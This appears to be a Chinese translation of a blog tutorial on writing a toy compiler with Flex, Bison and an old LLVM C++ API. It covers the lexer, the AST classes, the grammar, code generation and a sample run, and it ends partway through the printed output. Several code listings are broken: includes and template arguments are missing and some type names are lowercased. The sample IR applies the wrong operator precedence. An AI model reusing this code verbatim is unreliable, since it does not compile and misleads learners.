    "content": "---\nlayout: post\ntitle: 使用Flex Bison 和LLVM编写自己的编译器\ndate: 2009/10/12/ 4:47:18\nupdated: 2009/10/12/ 4:47:18\nstatus: publish\npublished: true\ntype: post\n---\n\n**使用Flex Bison 和 LLVM编写你自己的编译器**  \n\n原文出处：[http://gnuu.org/2009/09/18/writing-your-own-toy-compiler](http://gnuu.org/2009/09/18/writing-your-own-toy-compiler/)\n\n\n 1、介绍\n-----\n\n\n我总是对编译器和语言非常感兴趣，但是兴趣并不会让你走的更远。大量的编译器的设计概念可以搞的任何一个程序员迷失在这些概念之中。不用说，我也曾今尝试过，但是并没有取得太大的成功，我以前的尝试都停留在语义分析阶段。本文的灵感主要来源于我最近一次的尝试，并且在这一次中我取得一点成就。\n\n\n幸运的是，最近的几年，我参加了一些项目，这些项目给了我在建立编译器上很多有用的经验和观点。另外一件事是，我非常幸运得到[LLVM](http://llvm.org/)的帮助。对于这个工具，我不知道改怎么去形容它，但是他给我的这个编译器的确带来非常大的帮助。  \n\n\n\n\n### 1.1、你为什么要阅读本文\n\n\n你也许想看看我正在做的事情，但是更有可能的是，你也是和我一样对编译器和语言非常感兴趣，并且也可能遇到了一些在探索的过程中遇到了一些难题，你可能正打算解决这些难题，但是却没有发现好的资源。本文的目标就是提供这些资源，并以一种手把手的方式教你从头到尾的去创建一个具有基本功能的语言编译器。\n\n\n在本文，我不会去解释一些编译器基本理论，所以你要在开始本文前去了解什么是[BNF语法](http://en.wikipedia.org/wiki/Backus%E2%80%93Naur_Form)，什么是[抽象语法树数据结构 AST data structure](http://en.wikipedia.org/wiki/Abstract_syntax_tree)，什么是基础[编译器流水线 complier pipline](http://en.wikipedia.org/wiki/Compiler)。就是说，我会把本文描述的尽量简单。本文的目的就是以一种简单易懂的方式来介绍相关编译器资源的方式来帮助那些从来没有编译器经验的人。\n\n\n### 1.2、达到的成果\n\n\n如果你根据文章内容一步步来，你将会得到一个能定义函数，调用函数，定义变量，给变量赋值执行基本数学操作的语言。这门语言支持两种基本类型，double和integer类型。还有一些功能还未实现，因此，你可以通过自己去实现这些功能得到你满意的功能并且能为你理解编写一个编译器提供不少的帮助。\n\n\n### 1.3 问题解答\n\n\n\n\n\n#### 1.3.1 我需要了解什么样的语言\n\n\n我们使用的工具是基于C/C++的。LLVM是基于C++的，我们的这个语言也基于C++，因为C++具有很多面向对象的优点和可以被重用的STL。此外对于C，Lex和Bison都具有那些初看起来令人迷惑的语法，但是我将尽可能的去解释他。我们需要处理的语法非常小，最多就100行，因此它是比较容易理解的。\n\n\n#### 1.3.2 很复杂吗？\n\n\n是或否，这里面有很多的东西你需要了解，甚至多的让人感觉到害怕，但是老实说，其实这些都非常简单，我们同样会使用很多工具分解这些层次的复杂性，并使得这些内容可管理。\n\n\n#### 1.3.3 完成它需要多长时间\n\n\n我们将要完成的编译器花了我三天的时间。但是如果你按“follow me”的方式来完成这个编译器的话，你将会花费更少的时间。如果要全部理解这里面的内容可能会花去稍微长一点的时间，但是你至少应该在一个下午就将整个编译器运行起来。\n\n\n好，如果你已经准备好，我们开始吧。\n\n\n2、准备开始\n------\n\n\n\n\n\n### 2.1 构成编译器的最基本的要素\n\n\n一个编译器是由一组有三个到四个组件(还有一些子组件)构成，数据以管道的方式从一个组件输入并流向下一个组件。在我们这个编译器中，可能会用到一些稍微不同的工具。下面这个图展示了我们构造一个编译器的步骤，和每个步骤中将使用的工具。\n\n\n![Compiler Pipeline](../wp-content/uploads/2009/09/pipeline.png) \n\n\n从上图你可以看到在Linking这一步是灰掉的。我们的语言将不支持编译器的连接(很多的语言都不支持编译器的连接)。在文法分析阶段，我们将使用开源工具Lex，即如今的[Flex](http://flex.sourceforge.net/)，文法分析一般都伴随者语法分析，我们使用的语法分析工具将会是Yacc，或者说是[Bison](http://www.gnu.org/software/bison/)，最后一旦语义分析完成，我们将遍历我们的抽象语法树，并生成我们的”bytecode 字节码”，或”机器码 matchine code”。做这一步，我们将使用[LLVM](http://llvm.org/)，它能生成快速字节码，我们将使用LLVM的JIT(Just In Tinme)来在我们的机器上编译执行它\n\n\n总结一下，步骤如下：\n\n\n1. **文法分析用*Flex***:将数据分隔成一个个的标记token (标示符identifiers，关键字keywords，数字numbers, 中括号brackets, 大括号braces, 等等etc.)\n2. **语法分析用*Bison***: 在分析标记的时候生成抽象语法树. Bison 将会做掉几乎所有的这些工作, 我们定义好我们的抽象语法树就OK了.\n3. **组装用*LLVM***: 这里我们将遍历我们的抽象语法树，并未每一个节点生成字节/机器码。 这听起来似乎很疯狂，但是这几乎就是*最简单的* 一步了.\n\n\n在我们开始下一步之前，你应该准备安装好Flex,Bison和LLVM。因为我们马上就要使用到它们。\n\n\n### 2.2 定义我们的语法\n\n\n\n\n\n我们语法是我们语言中最核心的部分，我们的语法使用类似标准C的语法，因为这样的语法非常熟悉，而且简单。我们语法的一个典型的例子如下：\n\n\n\n```\n\nint do_math(int a) {\n  int x = a * 5 + 3\n}\n\ndo_math(10)\n\n```\n\n看起来很简单。它和C非常相似，但是它没有使用分号做语句的分隔，同时你也会注意到我们的语法中没有return语句。这就是你可以自己实现的部分。\n\n\n现在我们还没有任何机制来验证结果。我们将通过检查我们编译之后LLVM打印出的字节码验证我们程序的正确性。\n\n\n3、 第一步，使用Flex进行文法分析\n-------------------\n\n\n\n\n\n这是最简单的一步，给定语法之后，我们需要将我们的输入转换一系列内部标记token。如前所述，我们的语法具有非常基础的标记token:标示符identifier ，数字常量(整型和浮点型)，数学运算符号，括号，中括号，我们的文法定义文件称为token.l，它具有一些固定的语法。定义如下：\n\n\n\n```\n\n%{\n#include \n#include \"node.h\"\n#include \"parser.hpp\"\n#define SAVE_TOKEN yylval.string = new std::string(yytext, yyleng)\n#define TOKEN(t) (yylval.token = t)\nextern \"C\" int yywrap() { }\n%}\n\n%%\n\n[ \\t\\n]                 ;\n[a-zA-Z_][a-zA-Z0-9_]*  SAVE_TOKEN; return TIDENTIFIER;\n[0-9]+\\.[0-9]*          SAVE_TOKEN; return TDOUBLE;\n[0-9]+                  SAVE_TOKEN; return TINTEGER;\n\"=\"                     return TOKEN(TEQUAL);\n\"==\"                    return TOKEN(TCEQ);\n\"!=\"                    return TOKEN(TCNE);\n\"<\"                     return TOKEN(TCLT);\n\"<=\"                    return TOKEN(TCLE);\n\">\"                     return TOKEN(TCGT);\n\">=\"                    return TOKEN(TCGE);\n\"(\"                     return TOKEN(TLPAREN);\n\")\"                     return TOKEN(TRPAREN);\n\"{\"                     return TOKEN(TLBRACE);\n\"}\"                     return TOKEN(TRBRACE);\n\".\"                     return TOKEN(TDOT);\n\",\"                     return TOKEN(TCOMMA);\n\"+\"                     return TOKEN(TPLUS);\n\"-\"                     return TOKEN(TMINUS);\n\"*\"                     return TOKEN(TMUL);\n\"/\"                     return TOKEN(TDIV);\n.                       printf(\"Unknown token!\\n\"); yyterminate();\n\n%%\n\n```\n\n在第一节(译者注：即%{%}中定义的部分)声明了一些特定的C代码。由于Bison不会去访问我门的yytext变量，我们使用宏”SAVE\\_TOKEN”来保证标示符的文本和文本长度是安全的(而不是靠标记本身来保证)。第一个token告诉我们要忽略掉那些空白字符。你会注意到我们有些一些等价性比较的标记和其他。还有一些标记还没有实现，你可以非常自由的将这些标记加到你自己的编译器中去。\n\n\n现在我们在这里做的是定义这些标记和他们的符号名。符号(比如TIDENTFIER)将成为我们语法中的终结符。我们只是返回它，我们从未定义它，他们是在什么地方定义的？当然是在bison语法文件中。我们包含的parser.hpp头文件将会被bison所生成，并且里面的所有符号都将被生成，并被我们在这里使用。\n\n\n我们对这个token.l运行flex命令，并生成tokens.cpp文件，这个程序将会和我们的语法分析器一起编译并提供yylex()函数来识别这些标记。我们将在稍后运行这个命令，因为现在我们需要从bison那里生成头文件。\n\n\n4、第2步 使用Bison进行语法分析\n-------------------\n\n\n\n\n\n这是我们工作中最富有挑战性的一部分。生成一个正确的无二义的语法并不是一项简单的工作，要经过很多实践努力。庆幸的是，我们例子中的语法是简单而完整的。在我们实现我们的语法之前，我们需要详细的讲解一下我们的设计。\n\n\n### 4.1、设计AST(抽象语法树)\n\n\n\n\n\n语法分析的最终结果是抽象语法树AST，正如我们将看到的，Bison生成抽象语法树的最优工具；我们唯一需要做的事情就是将我们的代码插入到语法中去。\n\n\n文本形式字符串，例如”int x”代表了我们语言的文本形式，和这个类似，抽象语法树AST则代表了我们语言在内存中的表现形式一样(在语言在组装成而进程码之前)。正因如此，我们要在把这些插入在语法分析中的数据结构首先设计好。这个过程是非常直接的，因为我们为语法中的每个语义单元创建了一个结构。方法声明、方法调用，变量声明，引用，这些都构成了抽象语法树的节点。我们语言的抽象语法树的节点如下图：  \n\n![Our Toy Language AST](../wp-content/uploads/2009/09/ClassDiagram.png)  \n\n上图的C++代码如下：  \n\nnode.h文件\n\n\n\n```\n\n#include <iostream>\n#include <vector>\n#include <llvm/Value.h>\n\nclass CodeGenContext;\nclass NStatement;\nclass NExpression;\nclass NVariableDeclaration;\n\ntypedef std::vector<NStatement*> StatementList;\ntypedef std::vector<NExpression*> ExpressionList;\ntypedef std::vector<NVariableDeclaration*> VariableList;\n\nclass Node {\npublic:\n    virtual ~Node() {}\n    virtual llvm::Value* codeGen(CodeGenContext& context) { }\n};\n\nclass NExpression : public Node {\n};\n\nclass NStatement : public Node {\n};\n\nclass NInteger : public NExpression {\npublic:\n    long long value;\n    NInteger(long long value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NDouble : public NExpression {\npublic:\n    double value;\n    NDouble(double value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NIdentifier : public NExpression {\npublic:\n    std::string name;\n    NIdentifier(const std::string& name) : name(name) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NMethodCall : public NExpression {\npublic:\n    const NIdentifier& id;\n    ExpressionList arguments;\n    NMethodCall(const NIdentifier& id, ExpressionList& arguments) :\n        id(id), arguments(arguments) { }\n    NMethodCall(const NIdentifier& id) : id(id) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NBinaryOperator : public NExpression {\npublic:\n    int op;\n    NExpression& lhs;\n    NExpression& rhs;\n    NBinaryOperator(NExpression& lhs, int op, NExpression& rhs) :\n        lhs(lhs), rhs(rhs), op(op) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NAssignment : public NExpression {\npublic:\n    NIdentifier& lhs;\n    NExpression& rhs;\n    NAssignment(NIdentifier& lhs, NExpression& rhs) :\n        lhs(lhs), rhs(rhs) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NBlock : public NExpression {\npublic:\n    StatementList statements;\n    NBlock() { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NExpressionStatement : public NStatement {\npublic:\n    NExpression& expression;\n    NExpressionStatement(NExpression& expression) :\n        expression(expression) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NVariableDeclaration : public NStatement {\npublic:\n    const NIdentifier& type;\n    NIdentifier& id;\n    NExpression *assignmentExpr;\n    NVariableDeclaration(const NIdentifier& type, NIdentifier& id) :\n        type(type), id(id) { }\n    NVariableDeclaration(const NIdentifier& type, NIdentifier& id, NExpression *assignmentExpr) :\n        type(type), id(id), assignmentExpr(assignmentExpr) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\nclass NFunctionDeclaration : public NStatement {\npublic:\n    const NIdentifier& type;\n    const NIdentifier& id;\n    VariableList arguments;\n    NBlock& block;\n    NFunctionDeclaration(const NIdentifier& type, const NIdentifier& id,\n            const VariableList& arguments, NBlock& block) :\n        type(type), id(id), arguments(arguments), block(block) { }\n    virtual llvm::Value* codeGen(CodeGenContext& context);\n};\n\n\n```\n\n非常的清晰明了，我们省略了getter和setter方法，这里只列出了共有成员；这些类也不需要影藏私有数据，并省略了codeGen方法。在我们导出AST成LLVM的字节码时，就需要使用到这个方法。\n\n\n### 4.2、Bison介绍\n\n\n\n\n\nbison的语法定义文件同样是由这些标记构成的最复杂的部分。这并不是说技术上有多复杂，但是我也会花一些时间来讨论一下Bison的语法细节，好，现在让我们立刻来熟悉一下Bison的语法。我们将使用基于类似于BNF的语法，使用定义的好终结符和非终结符来组成我们有效的每一个语句和表达式(这些语句和表达式就代表我们之前定义的AST节点)。例如：\n\n\n\n```\n\nif_stmt : IF '(' condition ')' block { /* do stuff when this rule is encountered */ }\n        | IF '(' condition ')'       { ... }\n        ;\n\n```\n\n在上面例子中，我们定义了一个if语句(如果我们支持if语句话)，它和BNF不同之处在于，每个语法后面都跟了一系列动作(在'{‘和’}’之间的内容)。这个动作将在此条语法被识别(译者注：归约)的时候被执行。这个过程将会递归地按从叶子符号到根节点符号的次序执行，在这个过程，每一个非终结符最终会被合并为一棵大的语法树。你将会看到的’$$’符号代表着当前树的跟节点(译者注：’$$’代表本条语法规则中冒号左边的部分的语义内容)。此外’$1’代表了本条规则叶子中的第一个符号(译者注：’$1’代表了本条语法规则冒号右边的内容，$1代表冒号右边的第一个符号的语义值)。在上面的例子中，当’condition’有效时我们将会把$3 赋值给$$。这个例子可以解释如何将我们AST和语法规则关联起来。我们将在每一条规则中通常赋值一个节点到$$，最后这些规则会合并成一个大的抽象语法树。Bison的部分是我们语言最复杂的部分，你需要花一点时间去理解它。此外到此为止，你还没有看到完整的代码。下面就是完整的Bison部分的代码：  \n\nparser.y\n\n\n\n```\n\n%{\n    #include \"node.h\"\n    NBlock *programBlock; /* the top level root node of our final AST */\n\n    extern int yylex();\n    void yyerror(const char *s) { printf(\"ERROR: %s\\n\", s); }\n%}\n\n/* Represents the many different ways we can access our data */\n%union {\n    Node *node;\n    NBlock *block;\n    NExpression *expr;\n    NStatement *stmt;\n    NIdentifier *ident;\n    NVariableDeclaration *var_decl;\n    std::vector *varvec;\n    std::vector *exprvec;\n    std::string *string;\n    int token;\n}\n\n/* Define our terminal symbols (tokens). This should\n   match our tokens.l lex file. We also define the node type\n   they represent.\n */\n%token  TIDENTIFIER TINTEGER TDOUBLE\n%token  TCEQ TCNE TCLT TCLE TCGT TCGE TEQUAL\n%token  TLPAREN TRPAREN TLBRACE TRBRACE TCOMMA TDOT\n%token  TPLUS TMINUS TMUL TDIV\n\n/* Define the type of node our nonterminal symbols represent.\n   The types refer to the %union declaration above. Ex: when\n   we call an ident (defined by union type ident) we are really\n   calling an (NIdentifier*). It makes the compiler happy.\n */\n%type  ident\n%type  numeric expr\n%type  func_decl_args\n%type  call_args\n%type  program stmts block\n%type  stmt var_decl func_decl\n%type  comparison\n\n/* Operator precedence for mathematical operators */\n%left TPLUS TMINUS\n%left TMUL TDIV\n\n%start program\n\n%%\n\nprogram : stmts { programBlock = $1; }\n        ;\n\nstmts : stmt { $$ = new NBlock(); $$->statements.push_back($1); }\n      | stmts stmt { $1->statements.push_back($2); }\n      ;\n\nstmt : var_decl | func_decl\n     | expr { $$ = new NExpressionStatement(*$1); }\n     ;\n\nblock : TLBRACE stmts TRBRACE { $$ = $2; }\n      | TLBRACE TRBRACE { $$ = new NBlock(); }\n      ;\n\nvar_decl : ident ident { $$ = new NVariableDeclaration(*$1, *$2); }\n         | ident ident TEQUAL expr { $$ = new NVariableDeclaration(*$1, *$2, $4); }\n         ;\n\nfunc_decl : ident ident TLPAREN func_decl_args TRPAREN block\n            { $$ = new NFunctionDeclaration(*$1, *$2, *$4, *$6); delete $4; }\n          ;\n\nfunc_decl_args : /*blank*/  { $$ = new VariableList(); }\n          | var_decl { $$ = new VariableList(); $$->push_back($1); }\n          | func_decl_args TCOMMA var_decl { $1->push_back($3); }\n          ;\n\nident : TIDENTIFIER { $$ = new NIdentifier(*$1); delete $1; }\n      ;\n\nnumeric : TINTEGER { $$ = new NInteger(atol($1->c_str())); delete $1; }\n        | TDOUBLE { $$ = new NDouble(atof($1->c_str())); delete $1; }\n        ;\n\nexpr : ident TEQUAL expr { $$ = new NAssignment(*$1, *$3); }\n     | ident TLPAREN call_args TRPAREN { $$ = new NMethodCall(*$1, *$3); delete $3; }\n     | ident { $$ = $1; }\n     | numeric\n     | expr comparison expr { $$ = new NBinaryOperator(*$1, $2, *$3); }\n     | TLPAREN expr TRPAREN { $$ = $2; }\n     ;\n\ncall_args : /*blank*/  { $$ = new ExpressionList(); }\n          | expr { $$ = new ExpressionList(); $$->push_back($1); }\n          | call_args TCOMMA expr  { $1->push_back($3); }\n          ;\n\ncomparison : TCEQ | TCNE | TCLT | TCLE | TCGT | TCGE\n           | TPLUS | TMINUS | TMUL | TDIV\n           ;\n\n%%\n\n```\n\n5、生成Flex和Bison代码\n----------------\n\n\n\n\n\n现在我们有了Flex的token.l文件和Bison的parser.y文件。我们需要将这两个文件传递给工具，并由工具来生成c++代码文件。注意Bison同时会为Flex生成parser.hpp头文件；这样做是通过-d开关实现的，这个开关是的我们的标记声明和源文件分开，这样就是的我们可以让这些token标记被其他的程序使用。下面的命令创建parser.cpp，parser.hpp和tokens.cpp源文件。\n\n\n\n```\n\n$ bison -d -o parser.cpp parser.y\n$ lex -o tokens.cpp tokens.l\n\n```\n\n如果上述工作都没有出错的话，我们现在位置已经完成了我们编译器工作总量的2/3。如果你现在想测试一下我们的代码，你可以编译一个简单的main.cpp程序：\n\n\n\n```\n\n#include <iostream>\n#include \"node.h\"\nextern NBlock* programBlock;\nextern int yyparse();\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout << programBlock << endl;\n    return 0;\n}\n\n```\n\n你可以编译这些文件：  \n\n$ g++ -o parser parser.cpp tokens.cpp main.cpp  \n\n现在你需要安装LLVM了，因为llvm::Value被node.h引用了。如果你不想这么做，只是想测试一下Flex和Bison部分，你可以注释掉node.h中codeGen()方法。\n\n\n如果上述工作都完成了，你现在将有一个语法分析器，这个语法分析器将从标准输入读入，并打出在内存中代表抽象语法树跟节点的内存非零地址。\n\n\n6、组装AST和LLVM\n------------\n\n\n编译器的下一步很自然地是应该将AST转换成机器码。这意味着将每一个语义节点转换成等价的机器指令。LLVM将帮助我们把这步变得非常简单，因为LLVM将真实的指令抽象成类似AST的指令。这意味着我们真正要做的事就是将AST转换成抽象指令。  \n\n你可以想象这个过程是从抽象语法树的根节点开始遍历每一个树上节点并产生字节码的过程。现在就是使用我们在Node中定义的codeGen方法的时候了。例如，当我们遍历NBlock代码的时候(语义上NBlock代表一组我们语言的语句的集合)，我们将调用列表中每条语句的codeGen方法。上面步骤代码类似如下的形式：\n\n\n\n```\n\nValue* NBlock::codeGen(CodeGenContext& context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout << \"Generating code for \" << typeid(**it).name() << endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout << \"Creating block\" << endl;\n    return last;\n}\n\n```\n\n我们将实现抽象语法树上所有节点的codeGen方法，然后在向下遍历树的时候调用它，并隐式的遍历我们整个抽象语法树。在这个过程中，我们在CodeGenContext类来告诉我们生成字节码的位置。\n\n\n###  6.1、关于LLVM要注意的一些信息\n\n\n\n\n\nLLVM最大的一个确定就是，你很难找到LLVM的相关文档。在线手册、教程、或其他的文档都没有及时的得到相关维护，这些文档大部分都是过期的文档。除非你去深入研究，否则你很难找到关于C++ API的信息。如果你自己安装LLVM，docs  \n\n是最新的文档。\n\n\n我发现最好学习LLVM的方法就是通过LLVM的例子去学习。在LLVM的压缩包的’example’目录下有很多快速生成字节码的例子。在[LLVM demo site](http://llvm.org/demo/)上可以将C做输入，然后生成C++ API的例子。以这些例子提供的方法，我找到了类似于int x = 5 ;的指令的生成方法。我使用这些工具实现大部分的节点。\n\n\n关于LLVM的问题描述到此为止，我将在下面罗列出codegen.h和codegen.cpp的源代码\n\n\ncodegen.h的内容。\n\n\n\n```\n\n#include <stack>\n#include <llvm/Module.h>\n#include <llvm/Function.h>\n#include <llvm/PassManager.h>\n#include <llvm/CallingConv.h>\n#include <llvm/Bitcode/ReaderWriter.h>\n#include <llvm/Analysis/Verifier.h>\n#include <llvm/Assembly/PrintModulePass.h>\n#include <llvm/Support/IRBuilder.h>\n#include <llvm/ModuleProvider.h>\n#include <llvm/ExecutionEngine/GenericValue.h>\n#include <llvm/ExecutionEngine/JIT.h>\n#include <llvm/Support/raw_ostream.h>\n\nusing namespace llvm;\n\nclass NBlock;\n\nclass CodeGenBlock {\npublic:\n    BasicBlock *block;\n    std::map<std::string , Value*> locals;\n};\n\nclass CodeGenContext {\n    std::stack<codegenblock  *> blocks;\n    Function *mainFunction;\n\npublic:\n    Module *module;\n    CodeGenContext() { module = new Module(\"main\"); }\n\n    void generateCode(NBlock& root);\n    GenericValue runCode();\n    std::map<std::string , Value*>& locals() { return blocks.top()->locals; }\n    BasicBlock *currentBlock() { return blocks.top()->block; }\n    void pushBlock(BasicBlock *block) { blocks.push(new CodeGenBlock()); blocks.top()->block = block; }\n    void popBlock() { CodeGenBlock *top = blocks.top(); blocks.pop(); delete top; }\n};\n\n```\n\ncodegen.cpp的内容。\n\n\n\n```\n\n#include \"node.h\"\n#include \"codegen.h\"\n#include \"parser.hpp\"\n\nusing namespace std;\n\n/* Compile the AST into a module */\nvoid CodeGenContext::generateCode(NBlock& root)\n{\n    std::cout << \"Generating code...\\n\";\n\n    /* Create the top level interpreter function to call as entry */\n    vector<const type*> argTypes;\n    FunctionType *ftype = FunctionType::get(Type::VoidTy, argTypes, false);\n    mainFunction = Function::Create(ftype, GlobalValue::InternalLinkage, \"main\", module);\n    BasicBlock *bblock = BasicBlock::Create(\"entry\", mainFunction, 0);\n\n    /* Push a new variable/block context */\n    pushBlock(bblock);\n    root.codeGen(*this); /* emit bytecode for the toplevel block */\n    ReturnInst::Create(bblock);\n    popBlock();\n\n    /* Print the bytecode in a human-readable format\n       to see if our program compiled properly\n     */\n    std::cout << \"Code is generated.\\n\";\n    PassManager pm;\n    pm.add(createPrintModulePass(&outs()));\n    pm.run(*module);\n}\n\n/* Executes the AST by running the main function */\nGenericValue CodeGenContext::runCode() {\n    std::cout << \"Running code...\\n\";\n    ExistingModuleProvider *mp = new ExistingModuleProvider(module);\n    ExecutionEngine *ee = ExecutionEngine::create(mp, false);\n    vector<genericvalue> noargs;\n    GenericValue v = ee->runFunction(mainFunction, noargs);\n    std::cout << \"Code was run.\\n\";\n    return v;\n}\n\n/* Returns an LLVM type based on the identifier */\nstatic const Type *typeOf(const NIdentifier& type)\n{\n    if (type.name.compare(\"int\") == 0) {\n        return Type::Int64Ty;\n    }\n    else if (type.name.compare(\"double\") == 0) {\n        return Type::FP128Ty;\n    }\n    return Type::VoidTy;\n}\n\n/* -- Code Generation -- */\n\nValue* NInteger::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating integer: \" << value << endl;\n    return ConstantInt::get(Type::Int64Ty, value, true);\n}\n\nValue* NDouble::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating double: \" << value << endl;\n    return ConstantFP::get(Type::FP128Ty, value);\n}\n\nValue* NIdentifier::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating identifier reference: \" << name << endl;\n    if (context.locals().find(name) == context.locals().end()) {\n        std::cerr << \"undeclared variable \" << name << endl;\n        return NULL;\n    }\n    return new LoadInst(context.locals()[name], \"\", false, context.currentBlock());\n}\n\nValue* NMethodCall::codeGen(CodeGenContext& context)\n{\n    Function *function = context.module->getFunction(id.name.c_str());\n    if (function == NULL) {\n        std::cerr << \"no such function \" << id.name << endl;\n    }\n    std::vector<value *> args;\n    ExpressionList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        args.push_back((**it).codeGen(context));\n    }\n    CallInst *call = CallInst::Create(function, args.begin(), args.end(), \"\", context.currentBlock());\n    std::cout << \"Creating method call: \" << id.name << endl;\n    return call;\n}\n\nValue* NBinaryOperator::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating binary operation \" << op << endl;\n    Instruction::BinaryOps instr;\n    switch (op) {\n        case TPLUS:     instr = Instruction::Add; goto math;\n        case TMINUS:    instr = Instruction::Sub; goto math;\n        case TMUL:      instr = Instruction::Mul; goto math;\n        case TDIV:      instr = Instruction::SDiv; goto math;\n\n        /* TODO comparison */\n    }\n\n    return NULL;\nmath:\n    return BinaryOperator::Create(instr, lhs.codeGen(context),\n        rhs.codeGen(context), \"\", context.currentBlock());\n}\n\nValue* NAssignment::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating assignment for \" << lhs.name << endl;\n    if (context.locals().find(lhs.name) == context.locals().end()) {\n        std::cerr << \"undeclared variable \" << lhs.name << endl;\n        return NULL;\n    }\n    return new StoreInst(rhs.codeGen(context), context.locals()[lhs.name], false, context.currentBlock());\n}\n\nValue* NBlock::codeGen(CodeGenContext& context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout << \"Generating code for \" << typeid(**it).name() << endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout << \"Creating block\" << endl;\n    return last;\n}\n\nValue* NExpressionStatement::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Generating code for \" << typeid(expression).name() << endl;\n    return expression.codeGen(context);\n}\n\nValue* NVariableDeclaration::codeGen(CodeGenContext& context)\n{\n    std::cout << \"Creating variable declaration \" << type.name << \" \" << id.name << endl;\n    AllocaInst *alloc = new AllocaInst(typeOf(type), id.name.c_str(), context.currentBlock());\n    context.locals()[id.name] = alloc;\n    if (assignmentExpr != NULL) {\n        NAssignment assn(id, *assignmentExpr);\n        assn.codeGen(context);\n    }\n    return alloc;\n}\n\nValue* NFunctionDeclaration::codeGen(CodeGenContext& context)\n{\n    vector<const type*> argTypes;\n    VariableList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        argTypes.push_back(typeOf((**it).type));\n    }\n    FunctionType *ftype = FunctionType::get(typeOf(type), argTypes, false);\n    Function *function = Function::Create(ftype, GlobalValue::InternalLinkage, id.name.c_str(), context.module);\n    BasicBlock *bblock = BasicBlock::Create(\"entry\", function, 0);\n\n    context.pushBlock(bblock);\n\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        (**it).codeGen(context);\n    }\n\n    block.codeGen(context);\n    ReturnInst::Create(bblock);\n\n    context.popBlock();\n    std::cout << \"Creating function: \" << id.name << endl;\n    return function;\n}\n\n```\n\n上述罗列很多的代码，然而这部份代码的含义需要你自己去探索。我在这里只会提及一下你需要注意的内容：\n\n\n* 我们在CodeGenContext类中使用一个语句块的栈来保存最后进入的block(因为语句都被增加到blocks中)\n* 我们同样用个堆栈来保存每组语句块中的[符号表](http://en.wikipedia.org/wiki/Symbol_table)\n* 我们设计的语言只会知道他当前范围内的内容.要支持“全局”上下的做法，你必须向上搜索整个堆栈中每一个语句块，知道你最后发现你匹配的符号(现在我们只是简单地搜索堆栈中最顶层的符号表)。\n* 在我们进入一个语句块之前，我们需要将语句块压栈，离开语句块时将语句块出栈\n\n\n剩下的内容都LLVM相关了，在这个主题上我并不是专家。但是迄今为止，我们已经有了编译和运行我们语言的所有代码。\n\n\n7、编译和运行我们的语言\n------------\n\n\n\n\n\n### 7.1、编译我们的语言\n\n\n\n\n\n我们已经有了代码，现在我们怎么运行它？LLVM有着非常复杂的联接link，幸运的是，如果你是自己安装的LLVM，那么你就应该有一个llvm-config二进制程序，这个程序返回你需要的所有编译和联接选项。  \n\n我们也要同时更新我们的main.cpp的内容使之可以编译和运行我们的代码，这次我们main.cpp的内容如下：\n\n\n\n```\n\n#include <iostream>\n#include \"codegen.h\"\n#include \"node.h\"\n\nusing namespace std;\n\nextern int yyparse();\nextern NBlock* programBlock;\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout << programBlock << endl;\n\n    CodeGenContext context;\n    context.generateCode(*programBlock);\n    context.runCode();\n\n    return 0;\n}\n\n```\n\n现在我们需要这样来编译这些代码  \n\n$ g++ -o parser `llvm-config --libs core jit native --cxxflags --ldflags` \\*.cpp  \n\n你也可以编写一个Makefile来进行编译\n\n\n\n```\n\nall: parser\n\nclean:\n\trm parser.cpp parser.hpp parser tokens.cpp\n\nparser.cpp: parser.y\n\tbison -d -o $@ $^\n\nparser.hpp: parser.cpp\n\ntokens.cpp: tokens.l parser.hpp\n\tlex -o $@ $^\n\nparser: parser.cpp codegen.cpp main.cpp tokens.cpp\n\tg++ -o $@ llvm-config --libs core jit native --cxxflags --ldflags *.cpp\n\n```\n\n### 7.2、运行我们的语言\n\n\n\n\n\n假设上述所有工作都圆满完成，那么现在你将有一个名为parser的二进制程序。运行它，还记得我们那个典型例子吗？让我们看看我们的编译器工作的如何。\n\n\n\n```\n\n$ echo 'int do_math(int a) { int x = a * 5 + 3 } do_math(10)' | ./parser\n0x100a00f10\nGenerating code...\nGenerating code for 20NFunctionDeclaration\nCreating variable declaration int a\nGenerating code for 20NVariableDeclaration\nCreating variable declaration int x\nCreating assignment for x\nCreating binary operation 276\nCreating binary operation 274\nCreating integer: 3\nCreating integer: 5\nCreating identifier reference: a\nCreating block\nCreating function: do_math\nGenerating code for 20NExpressionStatement\nGenerating code for 11NMethodCall\nCreating integer: 10\nCreating method call: do_math\nCreating block\nCode is generated.\n; ModuleID = 'main'\n\ndefine internal void @main() {\nentry:\n\t%0 = call i64 @do_math(i64 10)\t\t;  [#uses=0]\n\tret void\n}\n\ndefine internal i64 @do_math(i64) {\nentry:\n\t%a = alloca i64\t\t;  [#uses=1]\n\t%x = alloca i64\t\t;  [#uses=1]\n\t%1 = add i64 5, 3\t;  [#uses=1]\n\t%2 = load i64* %a\t;  [#uses=1]\n\t%3 = mul i64 %2, %1\t;  [#uses=1]\n\tstore i64 %3, i64* %x\n\tret 